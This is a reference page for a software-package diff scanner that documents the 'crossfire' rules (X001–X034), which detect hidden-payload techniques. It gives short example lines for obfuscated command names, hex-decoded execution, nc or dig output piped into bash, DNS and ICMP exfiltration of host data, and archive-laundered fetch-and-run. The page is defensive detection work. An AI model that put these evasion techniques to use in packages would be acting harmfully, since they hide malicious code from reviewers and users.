Skip to content

Crossfire

Where these rules come from and what a finding means: Rule Nature.

Crossfire rules fire on how a diff is written, not on what it does.

Every other rule family matches a payload: a fetch, a write, a privilege change. Crossfire matches the technique used to hide one. A word the tokenizer cannot reduce to a literal, a command carried in a config value, a pipeline whose sink has no name the analyser knows - each is evidence on its own, whatever payload sits behind it.

This is a reference page. For how rules are weighted and scoped, see Rule System. For the families that match payloads, start at All Rules.

Why the family exists

Payload rules depend on resolution. When resolution fails, they produce silence, and silence reads identically to a clean package. Crossfire inverts that: a defeated tokenizer produces a finding rather than nothing, so evasion and alarm are the same event.

One crossfire rule covers the evasion surface of every payload rule at once. It does not identify which payload was hidden, only that hiding occurred.

What crossfire does not do

  • It does not replace tokenizer fixes. A payload hidden by an unanticipated technique still passes.
  • It does not claim bytes another rule claims. Base64-to-shell belongs to R003 and R043, bidi and homoglyph codepoints to R013, and ~/ writes to H032.

The gate is the file, not the function

Crossfire rules run against shell files. A .desktop entry, a licence text or a README is not a shell file, and a character or construct that would be evasion in a recipe is ordinary content there.

A heredoc body that is only printed (cat <<'MSG' ... MSG around advisory text) is output, not executed shell, so the crossfire command rules skip it. X020 still reads the body, because the manifest is what a later engine runs.


Rules on this page

Rule Name Severity
X001 Encoded Payload Decoded And Executed -
X002 Non-Literal Executable Name -
X003 Obfuscated Command Argument -
X004 Build Output Suppressed -
X005 Home Reached By An Alternative Spelling -
X006 Source Points Somewhere Unexpected -
X007 Multiple Evasion Techniques -
X008 Whitespace A Shell Does Not Split On -
X009 Fetch Through An Uncatalogued Client -
X010 Interpreter One-Liner Reaches The Network -
X011 Package Manager Runs Fetched Code At Build Time -
X012 Build Toolchain Redirected Into The Source Tree -
X013 Fetch Redirected Or Trust Root Replaced -
X014 Environment Variable Names Code To Run -
X015 Work Scheduled To Run After The Build -
X016 Fetch Piped Into An Unrecognised Consumer -
X017 Tool Flag Or Builtin Carries A Command -
X018 Interpreter One-Liner Assembles A Name -
X019 Host Material Sent Or Packaged -
X020 Recipe Writes The Build Steps The Engine Runs -
X021 Executor Runs A File Chosen At Runtime -
X022 Generated Config Handed To The Tool That Reads It -
X023 Command Output Executed As A Script -
X024 Indirect Sensitive Assignment -
X025 Multi-Line Function Shadow -
X026 Unresolved Constructs In Executable Positions -
X027 Refusal Cluster -
X028 Pattern Completed Across Commits -
X029 Encoded Material At Rest -
X030 ANSI-C Quoted Content In Commands -
X031 Build Reads Non-Code Text -
X032 Command Name Assembled By Splicing -
X033 File With No Provenance Executed -
X034 Fetch Laundered Through An Archival Service -

X001: Encoded Payload Decoded And Executed

CRITICAL (weight 40) · category evasion

Fires when an encoded blob is decoded and the result reaches a shell or interpreter inside an executing scope. Covers hex and octal escapes, reversed hex dumps (xxd -r, od -An, hexdump), non-base64 decoders (base32 -d, basenc, openssl enc -d, uudecode), ANSI-C $'...' blobs, and tr rotations.

Base64 is excluded: R003 and R043 claim it.

The executor set includes every shell spelling (ash, mksh, pdksh, yash, posh, busybox sh, env -S sh, source /dev/stdin) and the interpreters. printf '\x63...' | python3 decodes and executes, which is the rule's claim; no recipe pipes a hex blob into an interpreter by accident.

Related: R003, R043

X002: Non-Literal Executable Name

CRITICAL (weight 40) · category evasion

Fires when the word in command position is not a literal. Recognised shapes:

Shape Example
variable $cmd, ${A[0]}, ${!ref}, ${c//X/}
substitution $(printf '\x63\x75\x72\x6c'), backticks
quote break c"u"rl
ANSI-C string $'\x63\x75\x72\x6c'
brace expansion cur{l,}
homoglyph сurl (Cyrillic с)
glob /usr/bin/c?rl, cur[l]

Three exclusions keep it precise:

  • An assignment is not a command. font=$(grep ...) names no executable.
  • A variable the tokenizer resolved to a literal is a spelling choice, not an evasion: $DKMS where DKMS=dkms, or ${A[0]} where A=(curl). A dynamic subscript (${A[$i]}), a nameref, or a command substitution does not resolve and still fires.
  • A glob needs a name character before the metacharacter, so the [ of if [ -f x ] is not a command name.

X003: Obfuscated Command Argument

HIGH (weight 25) · category evasion

Fires on a curl/wget long option truncated to a unique prefix (--upload-f), a shell invoked with options stuffed around -c (bash -lc, sh -ec, sh -ce), or a URL whose host is an octal, hex or integer-encoded IP.

sh -c is ordinary and stays quiet. The option cluster must hold at least two letters, and the c may sit anywhere in it.

X004: Build Output Suppressed

MEDIUM (weight 15) · category evasion

Fires on TERM=dumb (quoted or not), set +x in any letter order, set +o xtrace, or a redirection that detaches a stream (exec >/dev/null, exec 2>>/dev/null, exec &>/dev/null, exec 2>&-) inside an executing scope.

MEDIUM because hiding output is weak evidence alone; its value is compositional, in X007. Bare 2>/dev/null is excluded as noise.

X005: Home Reached By An Alternative Spelling

HIGH (weight 25) · category evasion

Fires when a write or redirect reaches a home directory by a spelling H032 does not match: /home/alice, /home/$USER/..., ~alice, /root, ${HOME:-/home/alice}/..., or a traversal naming home or root. The trailing separator is optional.

Defers rather than doubles: a target H032 claims is skipped, so one write scores once.

Staging paths are exempt, and the exemption belongs to the target, not the line, and is case-sensitive. $PKGDIR is not a makepkg variable and expands to nothing, so "$PKGDIR/../../home/alice/.bashrc" is a home write.

X006: Source Points Somewhere Unexpected

HIGH (weight 25) · category evasion

Fires on a URL shortener or a raw-IP URL anywhere in the diff. Neither is legitimate in a source= array: a shortener hides the destination from the reader, and a raw IP has no name to check.

Schemes match case-insensitively, as RFC 3986 requires and curl accepts.

X007: Multiple Evasion Techniques

CRITICAL (weight 40) · category evasion

Fires when two or more distinct crossfire techniques appear in one diff. One technique can be an accident of style; two is a method.

X008: Whitespace A Shell Does Not Split On

MEDIUM (weight 15) · category evasion

Fires on a whitespace character other than space, tab, newline or carriage return, on an executing line of a shell file.

bash splits words on space, tab and newline. A line reading make install with a NBSP between the words displays as a command and executes as the single unknown word make install. What the reviewer reads is not what the shell runs.

MEDIUM, not FATAL: the line fails closed, the command is simply not found, and the realistic benign cause is a copy-paste from a web page.

Zero hits on the benign corpus. One diff in 3,739 carries such a character at all, in a font licence, which is not a shell file.

Related: R013, which claims a disjoint set of codepoints at FATAL.

X009: Fetch Through An Uncatalogued Client

CRITICAL (weight 40) · category evasion

Fires when a network client other than curl/wget feeds a shell or interpreter on an executing line.

Fires Quiet
lftp -c "cat URL" \| bash curl URL \| bash (R001 claims it)
nc host 80 \| bash dig +short TXT d \| head
ssh host cat /srv/p.sh \| sh git ls-remote URL \| wc -l
dig +short TXT d \| tr -d '"' \| sh

The rule reads the end of the pipeline, so intervening filters do not hide the chain. The client vocabulary is shared with H016, H082 and R051 through config.NETWORK_CLIENT.

curl and wget are excluded: R001 and R002 claim those, and one operation scored twice is its own kind of wrong.

X010: Interpreter One-Liner Reaches The Network

HIGH (weight 25) · category evasion

Fires when a -c/-e/-r script contains a URL or a fetch call (urlopen, requests.get, file_get_contents, LWP, socket.connect). No shell client is involved, so H016's inventory never sees it.

X011: Package Manager Runs Fetched Code At Build Time

HIGH (weight 25) · category evasion

Fires when a language package manager resolves and executes third-party code during the build (npm install, pip install, cargo, go install, gem, composer, npx, deno run).

Stands down for local paths, which mean "install what this recipe just built". Distribution tools are the exception: pacman -U ./evil.pkg.tar.zst installs a local package as root, scriptlets and all.

Related: W002, which reports the same act at weight 0 when nothing else claims it.

X012: Build Toolchain Redirected Into The Source Tree

HIGH (weight 25) · category evasion

Fires when CC, CXX, LD, AR, PATH, LD_PRELOAD, LD_LIBRARY_PATH, PYTHONPATH, MAKEFLAGS or a sibling is assigned a path under $srcdir, $startdir or $pkgdir, and a compile or configure step follows.

The consumer may be an unchanged line. An override added above an existing make is the shape where the attacker supplies one line and the recipe supplies the rest.

PATH="$srcdir:$PATH" counts: the variable need not be followed by a path component.

X013: Fetch Redirected Or Trust Root Replaced

HIGH (weight 25) · category evasion

Fires when the recipe changes where a fetch goes or what it trusts: a proxy export, --resolve, --connect-to, --doh-url, or a replaced CA bundle (--cacert, SSL_CERT_FILE, CURL_CA_BUNDLE).

The URL a reviewer reads is then not the machine the build talks to. R057 owns -k/--insecure, which turns verification off; this is the other half, keeping verification on and owning what it checks against.

X014: Environment Variable Names Code To Run

HIGH (weight 25) · category evasion

Fires when a variable or flag carries a value the receiving program executes.

Kind Examples
shell hooks BASH_ENV, ENV, PROMPT_COMMAND, PS0, PS4
tool hooks GIT_SSH_COMMAND, LESSOPEN, PAGER, EDITOR
loader LD_AUDIT, GCONV_PATH, LOCPATH, HOSTALIASES
interpreter preload RUBYOPT, PERL5OPT, PYTHONSTARTUP, LUA_INIT
git config keys core.fsmonitor, diff.external, filter.*.clean, credential.helper
flag values --pre-exec, ProxyCommand, rsync -e, any flag whose value begins with an executor and names a build directory

PERL5LIB and PYTHONPATH are excluded: they name where to look for modules, not code to run, and X012 already claims a library path pointed into the source tree.

git's own semantics decide which values execute. submodule.<n>.update takes checkout|rebase|merge|none|!command and an alias is a git subcommand unless prefixed with !, so git config submodule.x.update none is quiet.

Stands down when the value is a harmless constant (PAGER=cat, EDITOR=true).

X015: Work Scheduled To Run After The Build

HIGH (weight 25) · category evasion

Fires on crontab, at, batch, systemd-run, incrontab, entr, inotifywait, udevadm control, systemctl start, or systemctl enable --now.

These register work on the machine doing the building, outside anything pacman records or can remove. batch reads its command from stdin and needs no argument.

Plain systemctl enable is absent: a package's .install scriptlet enabling its own unit is ordinary packaging, and R054 reads the unit file itself.

X016: Fetch Piped Into An Unrecognised Consumer

HIGH (weight 25) · category evasion

Fires when a pipeline starts with a network client and ends in a command that is neither a known data consumer nor an executor R001 claims.

Fires Quiet
curl u \| deno curl u \| tar -xz
curl u \| bun curl u \| sha256sum -c
curl u \| pwsh curl u \| jq -r .x
curl u \| Rscript curl u \| sudo tee /etc/x

The rule enumerates consumers, not executors. The set of interpreters is unbounded and chosen by the attacker; the set of things a recipe pipes a download into is small and chosen by the ecosystem - an extractor, a checksum, a text filter, a viewer.

A sink outside that set is claimed, not because it is known to be an interpreter but because it is not known to be a consumer.

The sink is read after the last unquoted |, so echo "a|b" | tar has one pipe, and wrappers (sudo tee, LC_ALL=C sort) are stepped over.

Zero occurrences in the benign corpus.

X017: Tool Flag Or Builtin Carries A Command

HIGH (weight 25) · category evasion

Fires on a command placed where a command is not expected:

Form Effect
tar --checkpoint-action=exec=CMD runs per archive checkpoint
tar --to-command=CMD runs per archive member
find … -exec sh {} + runs per match, with {} as the argument
enable -f payload.so name loads an arbitrary ELF into bash
hash -p PATH name makes an existing name resolve elsewhere

find -exec is narrowed to an executor: find "$pkgdir" -type f -exec chmod 644 {} + is how permissions get fixed.

Zero occurrences in the benign corpus.

X018: Interpreter One-Liner Assembles A Name

HIGH (weight 25) · category evasion

Fires when a -c/-e/-r script builds the name it calls, or hands a build-tree path to an exec primitive.

Fires Quiet
python3 -c 'importlib.import_module("url"+"lib.request")' python3 -c 'import sys; print(sys.version)'
node -e 'require("child_"+"process")' python3 setup.py build
python3 -c 'getattr(__import__("os"),"sys"+"tem")(c)' ruby -e 'puts RUBY_VERSION'
ruby -e 'exec "bash", "$srcdir/x.sh"'

X010 and R044 look for a module or function name. A keyword list in a language with string concatenation is a suggestion, so this rule looks for the assembly instead: reflection primitives, glued name literals, and exec calls naming a build directory.

X019: Host Material Sent Or Packaged

HIGH (weight 25) · category evasion

Fires on two shapes of one act.

Sent. A DNS query whose name is computed (dig +short "$(hostname).e.example") or an ICMP payload that is a hex dump (ping -c1 -p "$(od -An -tx1 /etc/hostname)"). Both carry data out in a field nobody reads as a channel.

Packaged. env, /etc/machine-id, ~/.ssh, /etc/hostname or shell history written into $pkgdir. Nothing is sent at build time; the exfiltration happens at publication.

DNS clients are anchored to command position: host is also an English word, and echo "Host: $(uname -rn)" is a build script printing a banner.

X020: Recipe Writes The Build Steps The Engine Runs

HIGH (weight 25) · category evasion

Fires when a printf/echo/cat/tee writes a build manifest - build.ninja, Makefile, BUILD.bazel, meson.build, a *.mk - whose content carries a directive the engine executes.

A manifest is normally upstream's, or generated by cmake or meson from upstream's. When the recipe writes one, the commands in it are the packager's, and they are data until the engine runs them: no execution rule reads a command = line.

Claims authoring, not transforming. sed -e … Makefile > dest rewrites upstream's steps, which is how a DKMS package substitutes a kernel version.

Zero occurrences in the benign corpus.

Related: W004, W005

X021: Executor Runs A File Chosen At Runtime

HIGH (weight 25) · category evasion

Fires when a known executor's file argument is a positional parameter, an array element, or a glob.

Fires Quiet
set -- *.sh; bash "$1" bash setup.sh
mapfile -t A < <(ls *.sh); bash "${A[0]}" exec "$@"
IFS=:; bash $* for f in *.sh; do echo "$f"; done
bash *.sh

X002 asks whether the command can be read from the text; this asks the same of its argument. bash is literal in every firing case, so X002 stands down and every path-pairing rule looks for a filename that is not there.

set -- *.sh followed by a bare "$@" is a pairing: neither line is suspicious alone, and exec "$@" is how a wrapper forwards its arguments.

Zero occurrences in the benign corpus.

X022: Generated Config Handed To The Tool That Reads It

HIGH (weight 25) · category evasion

Fires when a write produces a file whose content names a build-tree path, and a later line passes that file - or its directory, behind a configuration flag - to a program.

printf "dhcp-script=$PWD/x.sh\n" > "$srcdir"/d
dnsmasq --conf-file="$srcdir"/d

H089 and H093 claim configs that are shipped. This one stays in the build tree, where naming $srcdir is normal, and is never installed. What makes it execution is the second line: the recipe runs the program that reads the file, on the build machine, at build time.

The pairing is the observable. Writing a config is ordinary; passing a filename to a program is ordinary.

The destination is the last unquoted >, because config bodies contain > themselves.

Zero occurrences in the benign corpus.

Related: W006, which reports the write alone at weight 0 when no tool reads it.

X023: Command Output Executed As A Script

HIGH (weight 25) · category evasion

Fires when a pipeline ends in a shell and does not start with a network client. The pipeline is read after variable, array and alias resolution, so C=curl; $C u | bash is R001's and C=aria2c; $C u | bash is X009's; this rule is for the pipeline that is still not a fetch after resolution (a command substitution or a nameref the tokenizer refuses to fold).

Fires Quiet
pass otp e \| bash curl u \| bash (R001 claims it)
cat /sys/kernel/tracing/trace \| bash make 2>&1 \| tee build.log
perf script -i data \| bash find . -name "*.o" \| xargs rm -f
gpg-connect-agent "KEYINFO" /bye \| bash

The bytes are produced locally, so no fetch rule has anything to say, and what runs is whatever the command printed.

A trailing || true ends the pipeline rather than voiding it, so cmd | bash || true is claimed.

No package in the 3,739-diff benign corpus pipes anything into a shell.

X024: Indirect Sensitive Assignment

HIGH (weight 25) · category evasion

Fires when a sensitive makepkg variable (DLAGENTS, COMPRESS*, PACMAN_AUTH, CFLAGS, CXXFLAGS, LDFLAGS, MAKEFLAGS, RUSTFLAGS, PATH, LD_PRELOAD, LD_LIBRARY_PATH, PYTHONPATH) is assigned a value that comes from another variable, a command substitution, or an array expansion.

Fires Quiet
DLAGENTS=("${_agents[@]}") DLAGENTS=('http::/usr/bin/curl')
COMPRESSZST=$(get_compress) CFLAGS="-O2 -march=x86-64"
CFLAGS="${_cflags[*]}" LDFLAGS="-Wl,-O1 -Wl,--as-needed"
PACMAN_AUTH="${_auth}" MAKEFLAGS="-j$(nproc)"

The evasion: DLAGENTS=("${_agents[@]}") looks like a pass-through but the actual value was set in a function. Good PKGBUILDs assign literal values to these variables.

X025: Multi-Line Function Shadow

HIGH (weight 25) · category evasion

Fires when a function definition is split across multiple lines using backslash-newline continuations, specifically for functions in the shadowed set (shell builtins, makepkg helpers, common utilities).

Fires Quiet
msg()\ + { on next line build()\ + { on next line
cd()\ + { on next line helper()\ + { on next line

H097 catches msg() { on a single line; X025 catches the multi-line variant where the brace is on the next line. Good PKGBUILDs do not split function definitions across lines.

X026: Unresolved Constructs In Executable Positions

MEDIUM (weight 15; HIGH at three or more distinct names) · category evasion

Fires when an assignment the tokenizer refused is referenced from build(), prepare(), check() or package(). Top-level metadata (pkgver=$(date), decorative variables) is not an executable position. The finding lists the unresolved names and the functions that reference them; [thresholds] x026.min_count sets the firing floor (default 1). The unresolved-is-not-seen contract holds: X026 reports the refusal, it never makes another rule treat the value as read.

An unresolved construct is also an analysis boundary: W008 names what the analysis could not read (weight 0), while X026 scores the suspicion. Both may fire; they are different claims about the same line.

Measured on the locked benign corpus: 130/3,739 (3.5%, 27 packages) - the honest-refusal floor (CONFIGURE_FLAGS=$(...), VERSION=$(date), Windows-ISO helper variables).

X027: Refusal Cluster

CRITICAL (weight 40) · category evasion

Fires when X026's input set holds two or more distinct unresolved names in executable positions. X027 implies X026; no orphaned cluster findings. As with X026, the refusals are also an analysis boundary: W008 reports the unresolved constructs at weight 0 (X reports the suspicion, W reports the boundary; both may fire on the same diff).

Measured on the locked benign corpus: 46/3,739 (1.2%, 9 packages - kernel and ISO build machinery); the rate is published as the calibration floor.

X028: Pattern Completed Across Commits

HIGH (weight 25) · category evasion

Joins the immediately preceding recorded review's added lines with the current diff's and runs the crossfire catalog over the joined stream; it fires only when the join yields a technique neither half yields alone. Gaps in history degrade to no-firing. The current catalog already owns the completed pipeline in one half for the common split shapes (R001), so the rule is quiet on the locked single-diff corpus; the join-with-self safety invariant is tested.

X029: Encoded Material At Rest

MEDIUM (weight 15) · category evasion

Fires on a base64, base32 or hex literal above the length floor (default 256 encoded characters, [thresholds] x029.min_length) when no decoder is present in the same diff. A decoder in the diff routes the shape to X001. The finding names the literal class, never the literal's content. Measured on the locked benign corpus: 1/3,739.

X030: ANSI-C Quoted Content In Commands

HIGH (weight 25) · category evasion

Fires on a command-position $'...' literal with two or more hex/octal escapes (or a control escape) whose decoded value is not a benign single token (a path, a flag, a filename). Formatting-only escapes (, ) are ordinary. Measured on the locked benign corpus: 0/3,739.

X031: Build Reads Non-Code Text

HIGH (weight 25) · category evasion

Fires when build()/prepare()/package() reads its own PKGBUILD (by name, or through $srcdir/$startdir) and pipes the content through a transformation into a shell or eval. Reading a different file, or reading the recipe for metadata without execution, stands down. Measured on the locked benign corpus: 0/3,739.

X032: Command Name Assembled By Splicing

HIGH (weight 25) · category evasion

Fires when a command name is built by splicing quotes or ANSI-C escapes: cu""rl, su"d"o, su$'\x64'o, ${IFS}sudo. A PKGBUILD has no honest reason to disguise a command name, so the splicing itself is the finding, whether or not the hidden command is harmless. It closes the refusal family's residual: a splice a shell executes but the tokenizer folds can still be reported as the attempt it is.

X033: File With No Provenance Executed

HIGH (weight 25) · category evasion

Fires when a build function executes a file at the $srcdir root that the recipe neither declares in source=(), writes itself, nor fetches inline with a network client. build() running bash "$srcdir"/stage.sh where stage.sh came from nowhere is a payload the source array never showed: a checksummed tarball unpacks into its own subdirectory, so a file sitting at the source root has no provenance at all. Files inside the unpacked tree (a relative path after cd, or $srcdir/pkg-ver/...), declared source names, freshly written names, and anything a fetch client produced (H082's case) stay out of scope. A script-runtime subcommand (bun run build, deno run x) is not a path at all, so it stays out too; the exclusion is keyed to bun and deno, and bash run still runs a file called run.

X034: Fetch Laundered Through An Archival Service

HIGH (weight 25) · category evasion

Fires when an archival service is used as a redirector: an archive URL whose path embeds a second absolute URL, on a line that also reaches a shell or interpreter. web.archive.org and archive.today front a fresh origin behind a reputation the reader trusts, so the diff shows a familiar host while the build runs code from somewhere else:

bash <(curl -L 'https://web.archive.org/web/https://gitflic.ru/...' 2>/dev/null)

The executor gate is what keeps it precise. A recipe that pins a vanished upstream, source=("https://web.archive.org/web/<id>/https://…tar.gz"), spells one URL and fetches it into a file; it names no executor and stays quiet. The rule also stands down on a plain curl/wget fetch piped into a shell, which R001 and R002 already own, so one operation is not scored twice.

Measured on the locked benign corpus: 0/3,739.

Related: X006, X016